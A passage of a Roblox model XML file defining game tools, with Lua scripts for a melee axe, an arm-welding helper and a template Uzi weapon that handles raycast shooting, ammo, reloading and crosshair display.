					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349024534</R00>
						<R01>-0.16666688</R01>
						<R02>0.98539561</R02>
						<R10>-3.42726707e-007</R10>
						<R11>0.985996068</R11>
						<R12>0.166768461</R12>
						<R20>-0.999391019</R20>
						<R21>0.005820252</R21>
						<R22>-0.0344138145</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5602">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=20
swingdamage=30
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.7)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5603">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0.200000003</Y>
					<Z>-0.200000003</Z>
					<R00>0.9496333</R00>
					<R01>0</R01>
					<R02>0.313363373</R02>
					<R10>0.313347697</R10>
					<R11>0.00999951363</R11>
					<R12>-0.949585795</R12>
					<R20>-0.00313347578</R20>
					<R21>0.999949932</R21>
					<R22>0.00949591398</R22>
				</CoordinateFrame>
				<string name="Name">Uzi</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080142</url></Content>
				<string name="ToolTip">Uzi</string>
			</Properties>
			<Item class="Part" referent="RBX5604">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-16</X>
						<Y>-68.5999985</Y>
						<Z>35.1000023</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5605">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=72012794</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.600000024</X>
							<Y>0.600000024</Y>
							<Z>0.600000024</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5606">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.33000004</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309366</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5607">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309699</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5608">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5609">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5610">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5611">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5612">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5613">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Uzi</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 15
-- How many times per second the gun can fire
local FireRate = 1 / 18
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 400
-- In radians the minimum accuracy penalty
local MinSpread = 0.005
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 30
-- DefaultValue for spare ammo
local SpareAmmo = 300
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.018
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
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							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5625">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
